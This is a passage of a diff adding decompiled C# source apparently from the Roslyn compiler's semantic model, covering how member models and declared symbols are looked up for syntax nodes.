((SyntaxNode)expressionBodySyntax3).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_024b; + } + } + BlockSyntax? body4 = destructorDeclarationSyntax.Body; + if (body4 != null) + { + fullSpan = ((SyntaxNode)body4).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_024b; + } + } + return null; + } + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.AddAccessorDeclaration: + case SyntaxKind.RemoveAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + { + accessorDeclarationSyntax = (AccessorDeclarationSyntax)cSharpSyntaxNode; + ArrowExpressionClauseSyntax? expressionBody = accessorDeclarationSyntax.ExpressionBody; + if (expressionBody != null) + { + fullSpan = ((SyntaxNode)expressionBody).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_029c; + } + } + BlockSyntax? body = accessorDeclarationSyntax.Body; + if (body != null) + { + fullSpan = ((SyntaxNode)body).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + goto IL_029c; + } + } + return null; + } + case SyntaxKind.IndexerDeclaration: + { + IndexerDeclarationSyntax indexerDeclarationSyntax = (IndexerDeclarationSyntax)cSharpSyntaxNode; + return GetOrAddModelIfContains(indexerDeclarationSyntax.ExpressionBody, span); + } + case SyntaxKind.FieldDeclaration: + case SyntaxKind.EventFieldDeclaration: + { + Enumerator enumerator = ((BaseFieldDeclarationSyntax)cSharpSyntaxNode).Declaration.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + MemberSemanticModel orAddModelIfContains = GetOrAddModelIfContains(current.Initializer, span); + if (orAddModelIfContains != null) + { + return orAddModelIfContains; + } + } + break; + } + case SyntaxKind.EnumMemberDeclaration: + { + EnumMemberDeclarationSyntax enumMemberDeclarationSyntax = (EnumMemberDeclarationSyntax)cSharpSyntaxNode; + if (enumMemberDeclarationSyntax.EqualsValue == null) + { + return null; + } + return GetOrAddModelIfContains(enumMemberDeclarationSyntax.EqualsValue, span); + } + case SyntaxKind.PropertyDeclaration: + { + PropertyDeclarationSyntax propertyDeclarationSyntax = (PropertyDeclarationSyntax)cSharpSyntaxNode; + return GetOrAddModelIfContains(propertyDeclarationSyntax.Initializer, span) ?? GetOrAddModelIfContains(propertyDeclarationSyntax.ExpressionBody, span); + } + case SyntaxKind.GlobalStatement: + if (SyntaxFacts.IsSimpleProgramTopLevelStatement((GlobalStatementSyntax)cSharpSyntaxNode)) + { + return GetOrAddModel((CompilationUnitSyntax)cSharpSyntaxNode.Parent); + } + return GetOrAddModel(cSharpSyntaxNode); + case SyntaxKind.CompilationUnit: + if ((object)SynthesizedSimpleProgramEntryPointSymbol.GetSimpleProgramEntryPoint(Compilation, (CompilationUnitSyntax)cSharpSyntaxNode, fallbackToMainEntryPoint: false) != null) + { + return GetOrAddModel(cSharpSyntaxNode); + } + break; + case SyntaxKind.Attribute: + return GetOrAddModelForAttribute((AttributeSyntax)cSharpSyntaxNode); + case SyntaxKind.Parameter: + { + if ((object)node != cSharpSyntaxNode) + { + return GetOrAddModelForParameter((ParameterSyntax)cSharpSyntaxNode, span); + } + return GetMemberModel((SyntaxNode)(object)cSharpSyntaxNode.Parent); + } + IL_024b: + return GetOrAddModel(destructorDeclarationSyntax); + IL_029c: + return GetOrAddModel(accessorDeclarationSyntax); + IL_01b5: + return GetOrAddModel(constructorDeclarationSyntax); + IL_0145: + return GetOrAddModel(baseMethodDeclarationSyntax); + IL_01f9: + return null; + } + } + return null; + } + + private MemberSemanticModel GetOrAddModelForAttribute(AttributeSyntax attribute) + { + MemberSemanticModel memberSemanticModel = ((attribute.Parent != null) ? GetMemberModel((SyntaxNode)(object)attribute.Parent) : null); + if (memberSemanticModel == null) + { + return GetOrAddModel(attribute); + } + return ImmutableInterlocked.GetOrAdd(ref _memberModels, attribute, (CSharpSyntaxNode node, (Binder binder, MemberSemanticModel model) binderAndModel) => CreateModelForAttribute(binderAndModel.binder, (AttributeSyntax)node, binderAndModel.model), (memberSemanticModel.GetEnclosingBinder(((SyntaxNode)attribute).SpanStart), memberSemanticModel)); + } + + private static bool IsInDocumentationComment(SyntaxNode node) + { + for (SyntaxNode val = node; val != null; val = val.Parent) + { + if (SyntaxFacts.IsDocumentationCommentTrivia(val.Kind())) + { + return true; + } + } + return false; + } + + private MemberSemanticModel GetOrAddModelForParameter(ParameterSyntax paramDecl, TextSpan span) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + EqualsValueClauseSyntax equalsValueClauseSyntax = paramDecl.Default; + MemberSemanticModel memberSemanticModel = ((paramDecl.Parent != null) ? GetMemberModel((SyntaxNode)(object)paramDecl.Parent) : null); + if (memberSemanticModel == null) + { + return GetOrAddModelIfContains(equalsValueClauseSyntax, span); + } + if (equalsValueClauseSyntax != null) + { + TextSpan fullSpan = ((SyntaxNode)equalsValueClauseSyntax).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + ParameterSymbol symbol = ((ISymbol?)(object)memberSemanticModel.GetDeclaredSymbol(paramDecl)).GetSymbol(); + if ((object)symbol != null) + { + return ImmutableInterlocked.GetOrAdd(ref _memberModels, equalsValueClauseSyntax, (CSharpSyntaxNode equalsValue, (CSharpCompilation compilation, ParameterSyntax paramDecl, ParameterSymbol parameterSymbol, MemberSemanticModel containing) tuple) => InitializerSemanticModel.Create(this, tuple.paramDecl, tuple.parameterSymbol, tuple.containing.GetEnclosingBinder(((SyntaxNode)tuple.paramDecl).SpanStart).CreateBinderForParameterDefaultValue(tuple.parameterSymbol, (EqualsValueClauseSyntax)equalsValue), tuple.containing.GetRemappedSymbols()), (Compilation, paramDecl, symbol, memberSemanticModel)); + } + } + } + return memberSemanticModel; + } + + private static CSharpSyntaxNode GetMemberDeclaration(SyntaxNode node) + { + return node.FirstAncestorOrSelf(s_isMemberDeclarationFunction, true); + } + + private MemberSemanticModel GetOrAddModelIfContains(CSharpSyntaxNode node, TextSpan span) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (node != null) + { + TextSpan fullSpan = ((SyntaxNode)node).FullSpan; + if (((TextSpan)(ref fullSpan)).Contains(span)) + { + return GetOrAddModel(node); + } + } + return null; + } + + private MemberSemanticModel GetOrAddModel(CSharpSyntaxNode node) + { + Func createMemberModelFunction = CreateMemberModel; + return GetOrAddModel(node, createMemberModelFunction); + } + + internal MemberSemanticModel GetOrAddModel(CSharpSyntaxNode node, Func createMemberModelFunction) + { + return ImmutableInterlocked.GetOrAdd(ref _memberModels, node, createMemberModelFunction); + } + + private MemberSemanticModel CreateMemberModel(CSharpSyntaxNode node) + { + switch (node.Kind()) + { + case SyntaxKind.CompilationUnit: + return createMethodBodySemanticModel(node, SynthesizedSimpleProgramEntryPointSymbol.GetSimpleProgramEntryPoint(Compilation, (CompilationUnitSyntax)node, fallbackToMainEntryPoint: false)); + case SyntaxKind.MethodDeclaration: + case SyntaxKind.OperatorDeclaration: + case SyntaxKind.ConversionOperatorDeclaration: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.DestructorDeclaration: + { + MemberDeclarationSyntax memberDeclarationSyntax = (MemberDeclarationSyntax)node; + SourceMemberMethodSymbol symbol3 = GetDeclaredSymbol(memberDeclarationSyntax).GetSymbol(); + return createMethodBodySemanticModel(memberDeclarationSyntax, symbol3); + } + case SyntaxKind.ClassDeclaration: + case SyntaxKind.RecordDeclaration: + { + SynthesizedPrimaryConstructor synthesizedPrimaryConstructor = TryGetSynthesizedPrimaryConstructor((TypeDeclarationSyntax)node); + if ((object)synthesizedPrimaryConstructor == null) + { + return null; + } + return createMethodBodySemanticModel(node, synthesizedPrimaryConstructor); + } + case SyntaxKind.GetAccessorDeclaration: + case SyntaxKind.SetAccessorDeclaration: + case SyntaxKind.AddAccessorDeclaration: + case SyntaxKind.RemoveAccessorDeclaration: + case SyntaxKind.InitAccessorDeclaration: + { + AccessorDeclarationSyntax accessorDeclarationSyntax = (AccessorDeclarationSyntax)node; + SourceMemberMethodSymbol symbol4 = ((ISymbol?)(object)GetDeclaredSymbol(accessorDeclarationSyntax)).GetSymbol(); + return createMethodBodySemanticModel(accessorDeclarationSyntax, symbol4); + } + case SyntaxKind.Block: + ExceptionUtilities.UnexpectedValue((object)node.Parent); + break; + case SyntaxKind.EqualsValueClause: + switch (node.Parent.Kind()) + { + case SyntaxKind.VariableDeclarator: + { + VariableDeclaratorSyntax variableDeclaratorSyntax = (VariableDeclaratorSyntax)node.Parent; + FieldSymbol declaredFieldSymbol = GetDeclaredFieldSymbol(variableDeclaratorSyntax); + return InitializerSemanticModel.Create(this, variableDeclaratorSyntax, declaredFieldSymbol, GetFieldOrPropertyInitializerBinder(declaredFieldSymbol, defaultOuter(), variableDeclaratorSyntax.Initializer)); + } + case SyntaxKind.PropertyDeclaration: + { + PropertyDeclarationSyntax propertyDeclarationSyntax = (PropertyDeclarationSyntax)node.Parent; + SourcePropertySymbol symbol2 = ((ISymbol?)(object)GetDeclaredSymbol(propertyDeclarationSyntax)).GetSymbol(); + return InitializerSemanticModel.Create(this, propertyDeclarationSyntax, symbol2, GetFieldOrPropertyInitializerBinder(symbol2.BackingField, defaultOuter(), propertyDeclarationSyntax.Initializer)); + } + case SyntaxKind.Parameter: + { + ParameterSyntax parameterSyntax = (ParameterSyntax)node.Parent; + ParameterSymbol declaredNonLambdaParameterSymbol = GetDeclaredNonLambdaParameterSymbol(parameterSyntax); + if ((object)declaredNonLambdaParameterSymbol == null) + { + return null; + } + return InitializerSemanticModel.Create(this, parameterSyntax, declaredNonLambdaParameterSymbol, defaultOuter().CreateBinderForParameterDefaultValue(declaredNonLambdaParameterSymbol, (EqualsValueClauseSyntax)node), null); + } + case SyntaxKind.EnumMemberDeclaration: + { + EnumMemberDeclarationSyntax enumMemberDeclarationSyntax = (EnumMemberDeclarationSyntax)node.Parent; + FieldSymbol symbol = ((ISymbol?)(object)GetDeclaredSymbol(enumMemberDeclarationSyntax)).GetSymbol(); + if ((object)symbol == null) + { + return null; + } + return InitializerSemanticModel.Create(this, enumMemberDeclarationSyntax, symbol, GetFieldOrPropertyInitializerBinder(symbol, defaultOuter(), enumMemberDeclarationSyntax.EqualsValue)); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Parent.Kind()); + } + case SyntaxKind.ArrowExpressionClause: + { + SourceMemberMethodSymbol sourceMemberMethodSymbol = null; + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = (ArrowExpressionClauseSyntax)node; + if (node.Parent is BasePropertyDeclarationSyntax) + { + sourceMemberMethodSymbol = ((ISymbol?)(object)GetDeclaredSymbol(arrowExpressionClauseSyntax)).GetSymbol(); + } + else + { + ExceptionUtilities.UnexpectedValue((object)node.Parent); + } + ExecutableCodeBinder executableCodeBinder = sourceMemberMethodSymbol?.TryGetBodyBinder(_binderFactory, ((SemanticModel)this).IgnoresAccessibility); + if (executableCodeBinder == null) + { + return null; + } + return MethodBodySemanticModel.Create(this, sourceMemberMethodSymbol, new MethodBodySemanticModel.InitialState(arrowExpressionClauseSyntax, null, executableCodeBinder)); + } + case SyntaxKind.GlobalStatement: + { + CSharpSyntaxNode parent = node.Parent; + if (parent.Kind() == SyntaxKind.CompilationUnit && !IsRegularCSharp && (object)_compilation.ScriptClass != null) + { + SynthesizedInteractiveInitializerMethod scriptInitializer = _compilation.ScriptClass.GetScriptInitializer(); + if ((object)scriptInitializer == null) + { + return null; + } + if (_globalStatementLabels == null) + { + Interlocked.CompareExchange(ref _globalStatementLabels, new ScriptLocalScopeBinder.Labels(scriptInitializer, (CompilationUnitSyntax)parent), null); + } + return MethodBodySemanticModel.Create(this, scriptInitializer, new MethodBodySemanticModel.InitialState(node, null, new ExecutableCodeBinder((SyntaxNode)(object)node, scriptInitializer, new ScriptLocalScopeBinder(_globalStatementLabels, defaultOuter())))); + } + break; + } + case SyntaxKind.Attribute: + return CreateModelForAttribute(defaultOuter(), (AttributeSyntax)node, null); + } + return null; + MemberSemanticModel createMethodBodySemanticModel(CSharpSyntaxNode memberDecl, SourceMemberMethodSymbol sourceMemberMethodSymbol2) + { + ExecutableCodeBinder executableCodeBinder2 = sourceMemberMethodSymbol2?.TryGetBodyBinder(_binderFactory, ((SemanticModel)this).IgnoresAccessibility); + if (executableCodeBinder2 == null) + { + return null; + } + return MethodBodySemanticModel.Create(this, sourceMemberMethodSymbol2, new MethodBodySemanticModel.InitialState(memberDecl, null, executableCodeBinder2)); + } + Binder defaultOuter() + { + return _binderFactory.GetBinder((SyntaxNode)(object)node).WithAdditionalFlags(((SemanticModel)this).IgnoresAccessibility ? BinderFlags.IgnoreAccessibility : BinderFlags.None); + } + } + + private SynthesizedPrimaryConstructor TryGetSynthesizedPrimaryConstructor(TypeDeclarationSyntax node) + { + return CSharpSemanticModel.TryGetSynthesizedPrimaryConstructor(node, GetDeclaredType(node)); + } + + private FieldSymbol GetDeclaredFieldSymbol(VariableDeclaratorSyntax variableDecl) + { + ISymbol declaredSymbol = GetDeclaredSymbol(variableDecl); + if (declaredSymbol != null) + { + switch (variableDecl.Parent.Parent.Kind()) + { + case SyntaxKind.FieldDeclaration: + return declaredSymbol.GetSymbol(); + case SyntaxKind.EventFieldDeclaration: + return declaredSymbol.GetSymbol().AssociatedField; + } + } + return null; + } + + private Binder GetFieldOrPropertyInitializerBinder(FieldSymbol symbol, Binder outer, EqualsValueClauseSyntax initializer) + { + outer = outer.GetFieldInitializerBinder(symbol, !IsRegularCSharp && symbol.ContainingType.IsScriptClass); + if (initializer != null) + { + outer = new ExecutableCodeBinder((SyntaxNode)(object)initializer, symbol, outer); + } + return outer; + } + + private static bool IsMemberDeclaration(CSharpSyntaxNode node) + { + if (!(node is MemberDeclarationSyntax) && !(node is AccessorDeclarationSyntax) && node.Kind() != SyntaxKind.Attribute) + { + return node.Kind() == SyntaxKind.Parameter; + } + return true; + } + + public override INamespaceSymbol GetDeclaredSymbol(NamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return GetDeclaredNamespace(declarationSyntax).GetPublicSymbol(); + } + + public override INamespaceSymbol GetDeclaredSymbol(FileScopedNamespaceDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return GetDeclaredNamespace(declarationSyntax).GetPublicSymbol(); + } + + private NamespaceSymbol GetDeclaredNamespace(BaseNamespaceDeclarationSyntax declarationSyntax) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + NamespaceOrTypeSymbol container = ((declarationSyntax.Parent.Kind() != SyntaxKind.CompilationUnit) ? GetDeclaredNamespaceOrType(declarationSyntax.Parent) : _compilation.Assembly.GlobalNamespace); + NamespaceSymbol declaredNamespace = GetDeclaredNamespace(container, ((SyntaxNode)declarationSyntax).Span, declarationSyntax.Name); + return _compilation.GetCompilationNamespace(declaredNamespace); + } + + public override INamedTypeSymbol GetDeclaredSymbol(BaseTypeDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return GetDeclaredType(declarationSyntax).GetPublicSymbol(); + } + + public override INamedTypeSymbol GetDeclaredSymbol(DelegateDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return GetDeclaredType(declarationSyntax).GetPublicSymbol(); + } + + private NamedTypeSymbol GetDeclaredType(BaseTypeDeclarationSyntax declarationSyntax) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = declarationSyntax.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + return GetDeclaredNamedType(declarationSyntax, valueText); + } + + private NamedTypeSymbol GetDeclaredType(DelegateDeclarationSyntax declarationSyntax) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = declarationSyntax.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + return GetDeclaredNamedType(declarationSyntax, valueText); + } + + private NamedTypeSymbol GetDeclaredNamedType(CSharpSyntaxNode declarationSyntax, string name) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + NamespaceOrTypeSymbol declaredTypeMemberContainer = GetDeclaredTypeMemberContainer(declarationSyntax); + return GetDeclaredMember(declaredTypeMemberContainer, ((SyntaxNode)declarationSyntax).Span, isKnownToBeANamespace: false, name) as NamedTypeSymbol; + } + + private NamespaceOrTypeSymbol GetDeclaredNamespaceOrType(CSharpSyntaxNode declarationSyntax) + { + if (declarationSyntax is BaseNamespaceDeclarationSyntax declarationSyntax2) + { + return GetDeclaredNamespace(declarationSyntax2); + } + if (declarationSyntax is BaseTypeDeclarationSyntax declarationSyntax3) + { + return GetDeclaredType(declarationSyntax3); + } + if (declarationSyntax is DelegateDeclarationSyntax declarationSyntax4) + { + return GetDeclaredType(declarationSyntax4); + } + return null; + } + + public override ISymbol GetDeclaredSymbol(MemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + switch (declarationSyntax.Kind()) + { + case SyntaxKind.GlobalStatement: + return null; + case SyntaxKind.IncompleteMember: + return null; + case SyntaxKind.FieldDeclaration: + case SyntaxKind.EventFieldDeclaration: + return null; + default: + return (GetDeclaredNamespaceOrType(declarationSyntax) ?? GetDeclaredMemberSymbol(declarationSyntax)).GetPublicSymbol(); + } + } + + public override IMethodSymbol GetDeclaredSymbol(CompilationUnitSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return SynthesizedSimpleProgramEntryPointSymbol.GetSimpleProgramEntryPoint(Compilation, declarationSyntax, fallbackToMainEntryPoint: false).GetPublicSymbol(); + } + + public override ISymbol GetDeclaredSymbol(LocalFunctionStatementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return GetMemberModel((SyntaxNode)(object)declarationSyntax)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IFieldSymbol GetDeclaredSymbol(EnumMemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return ((FieldSymbol)GetDeclaredMemberSymbol(declarationSyntax)).GetPublicSymbol(); + } + + public override IMethodSymbol GetDeclaredSymbol(BaseMethodDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return ((MethodSymbol)GetDeclaredMemberSymbol(declarationSyntax)).GetPublicSymbol(); + } + + public override ISymbol GetDeclaredSymbol(BasePropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetDeclaredMemberSymbol(declarationSyntax).GetPublicSymbol(); + } + + public override IPropertySymbol GetDeclaredSymbol(PropertyDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return ((PropertySymbol)GetDeclaredMemberSymbol(declarationSyntax)).GetPublicSymbol(); + } + + public override IPropertySymbol GetDeclaredSymbol(IndexerDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return ((PropertySymbol)GetDeclaredMemberSymbol(declarationSyntax)).GetPublicSymbol(); + } + + public override IEventSymbol GetDeclaredSymbol(EventDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return ((EventSymbol)GetDeclaredMemberSymbol(declarationSyntax)).GetPublicSymbol(); + } + + public override IMethodSymbol GetDeclaredSymbol(AccessorDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + if (declarationSyntax.Kind() == SyntaxKind.UnknownAccessorDeclaration) + { + return null; + } + CSharpSyntaxNode parent = declarationSyntax.Parent.Parent; + SyntaxKind syntaxKind = parent.Kind(); + if (syntaxKind == SyntaxKind.EventFieldDeclaration || syntaxKind - 8892 <= (SyntaxKind)2) + { + NamespaceOrTypeSymbol declaredTypeMemberContainer = GetDeclaredTypeMemberContainer(parent); + return (GetDeclaredMember(declaredTypeMemberContainer, ((SyntaxNode)declarationSyntax).Span, isKnownToBeANamespace: false) as MethodSymbol).GetPublicSymbol(); + } + throw ExceptionUtilities.UnexpectedValue((object)parent.Kind()); + } + + public override IMethodSymbol GetDeclaredSymbol(ArrowExpressionClauseSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + CSharpSyntaxNode parent = declarationSyntax.Parent; + SyntaxKind syntaxKind = parent.Kind(); + if (syntaxKind == SyntaxKind.PropertyDeclaration || syntaxKind == SyntaxKind.IndexerDeclaration) + { + NamespaceOrTypeSymbol declaredTypeMemberContainer = GetDeclaredTypeMemberContainer(parent); + return (GetDeclaredMember(declaredTypeMemberContainer, ((SyntaxNode)declarationSyntax).Span, isKnownToBeANamespace: false) as MethodSymbol).GetPublicSymbol(); + } + ExceptionUtilities.UnexpectedValue((object)parent.Kind()); + return null; + } + + private string GetDeclarationName(CSharpSyntaxNode declaration) + { + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_0135: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_0171: Unknown result type (might be due to invalid IL or missing references) + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + //IL_0185: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_019f: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier; + switch (declaration.Kind()) + { + case SyntaxKind.MethodDeclaration: + { + MethodDeclarationSyntax methodDeclarationSyntax = (MethodDeclarationSyntax)declaration; + ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier2 = methodDeclarationSyntax.ExplicitInterfaceSpecifier; + identifier = methodDeclarationSyntax.Identifier; + return GetDeclarationName(declaration, explicitInterfaceSpecifier2, ((SyntaxToken)(ref identifier)).ValueText); + } + case SyntaxKind.PropertyDeclaration: + { + PropertyDeclarationSyntax propertyDeclarationSyntax = (PropertyDeclarationSyntax)declaration; + ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier = propertyDeclarationSyntax.ExplicitInterfaceSpecifier; + identifier = propertyDeclarationSyntax.Identifier; + return GetDeclarationName(declaration, explicitInterfaceSpecifier, ((SyntaxToken)(ref identifier)).ValueText); + } + case SyntaxKind.IndexerDeclaration: + { + IndexerDeclarationSyntax indexerDeclarationSyntax = (IndexerDeclarationSyntax)declaration; + return GetDeclarationName(declaration, indexerDeclarationSyntax.ExplicitInterfaceSpecifier, "this[]"); + } + case SyntaxKind.EventDeclaration: + { + EventDeclarationSyntax eventDeclarationSyntax = (EventDeclarationSyntax)declaration; + ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier3 = eventDeclarationSyntax.ExplicitInterfaceSpecifier; + identifier = eventDeclarationSyntax.Identifier; + return GetDeclarationName(declaration, explicitInterfaceSpecifier3, ((SyntaxToken)(ref identifier)).ValueText); + } + case SyntaxKind.DelegateDeclaration: + identifier = ((DelegateDeclarationSyntax)declaration).Identifier; + return ((SyntaxToken)(ref identifier)).ValueText; + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.InterfaceDeclaration: + case SyntaxKind.EnumDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + identifier = ((BaseTypeDeclarationSyntax)declaration).Identifier; + return ((SyntaxToken)(ref identifier)).ValueText; + case SyntaxKind.VariableDeclarator: + identifier = ((VariableDeclaratorSyntax)declaration).Identifier; + return ((SyntaxToken)(ref identifier)).ValueText; + case SyntaxKind.EnumMemberDeclaration: + identifier = ((EnumMemberDeclarationSyntax)declaration).Identifier; + return ((SyntaxToken)(ref identifier)).ValueText; + case SyntaxKind.DestructorDeclaration: + return "Finalize"; + case SyntaxKind.ConstructorDeclaration: + if (((ConstructorDeclarationSyntax)declaration).Modifiers.Any(SyntaxKind.StaticKeyword)) + { + return ".cctor"; + } + return ".ctor"; + case SyntaxKind.OperatorDeclaration: + { + OperatorDeclarationSyntax operatorDeclarationSyntax = (OperatorDeclarationSyntax)declaration; + return GetDeclarationName(declaration, operatorDeclarationSyntax.ExplicitInterfaceSpecifier, OperatorFacts.OperatorNameFromDeclaration(operatorDeclarationSyntax)); + } + case SyntaxKind.ConversionOperatorDeclaration: + { + ConversionOperatorDeclarationSyntax conversionOperatorDeclarationSyntax = (ConversionOperatorDeclarationSyntax)declaration; + return GetDeclarationName(declaration, conversionOperatorDeclarationSyntax.ExplicitInterfaceSpecifier, OperatorFacts.OperatorNameFromDeclaration(conversionOperatorDeclarationSyntax)); + } + case SyntaxKind.FieldDeclaration: + case SyntaxKind.EventFieldDeclaration: + throw new ArgumentException(CSharpResources.InvalidGetDeclarationNameMultipleDeclarators); + case SyntaxKind.IncompleteMember: + return null; + default: + throw ExceptionUtilities.UnexpectedValue((object)declaration.Kind()); + } + } + + private string GetDeclarationName(CSharpSyntaxNode declaration, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierOpt, string memberName) + { + if (explicitInterfaceSpecifierOpt == null) + { + return memberName; + } + return ExplicitInterfaceHelpers.GetMemberName(_binderFactory.GetBinder((SyntaxNode)(object)declaration), explicitInterfaceSpecifierOpt, memberName); + } + + private NamespaceSymbol GetDeclaredNamespace(NamespaceOrTypeSymbol container, TextSpan declarationSpan, NameSyntax name) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + switch (name.Kind()) + { + case SyntaxKind.IdentifierName: + case SyntaxKind.GenericName: + { + SyntaxToken identifier = ((SimpleNameSyntax)name).Identifier; + return (NamespaceSymbol)GetDeclaredMember(container, declarationSpan, isKnownToBeANamespace: true, ((SyntaxToken)(ref identifier)).ValueText); + } + case SyntaxKind.QualifiedName: + { + QualifiedNameSyntax qualifiedNameSyntax = (QualifiedNameSyntax)name; + NamespaceOrTypeSymbol declaredNamespace = GetDeclaredNamespace(container, declarationSpan, qualifiedNameSyntax.Left); + return GetDeclaredNamespace(declaredNamespace, declarationSpan, qualifiedNameSyntax.Right); + } + case SyntaxKind.AliasQualifiedName: + { + AliasQualifiedNameSyntax aliasQualifiedNameSyntax = (AliasQualifiedNameSyntax)name; + return GetDeclaredNamespace(container, declarationSpan, aliasQualifiedNameSyntax.Name); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)name.Kind()); + } + } + + private Symbol GetDeclaredMember(NamespaceOrTypeSymbol container, TextSpan declarationSpan, bool isKnownToBeANamespace, string name = null) + { + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Invalid comparison between Unknown and I4 + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_0131: Unknown result type (might be due to invalid IL or missing references) + //IL_0109: Unknown result type (might be due to invalid IL or missing references) + if ((object)container == null) + { + return null; + } + ImmutableArray immutableArray = ((name != null) ? container.GetMembers(name) : container.GetMembersUnordered()); + if (isKnownToBeANamespace) + { + ImmutableArray immutableArray2 = ImmutableArrayExtensions.WhereAsArray(immutableArray, (Func)((Symbol symbol3) => symbol3 is NamespaceSymbol)); + if (name != null && immutableArray2.Length == 1 && immutableArray2[0] is NamespaceSymbol result) + { + return result; + } + } + Symbol symbol = null; + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current is ImplicitNamedTypeSymbol { IsImplicitClass: not false } implicitNamedTypeSymbol) + { + Symbol declaredMember = GetDeclaredMember(implicitNamedTypeSymbol, declarationSpan, isKnownToBeANamespace, name); + if ((object)declaredMember != null) + { + return declaredMember; + } + } + if (current.HasLocationContainedWithin(SyntaxTree, declarationSpan, out var wasZeroWidthMatch)) + { + if (!wasZeroWidthMatch) + { + return current; + } + symbol = current; + } + MethodSymbol methodSymbol = (((int)current.Kind == 9) ? ((MethodSymbol)current).PartialImplementationPart : null); + if ((object)methodSymbol != null) + { + Location firstLocation = methodSymbol.GetFirstLocation(); + if (firstLocation.IsInSource && firstLocation.SourceTree == SyntaxTree && ((TextSpan)(ref declarationSpan)).Contains(firstLocation.SourceSpan)) + { + return methodSymbol; + } + } + } + Symbol symbol2 = symbol; + if ((object)symbol2 == null) + { + if (name == null) + { + return null; + } + symbol2 = 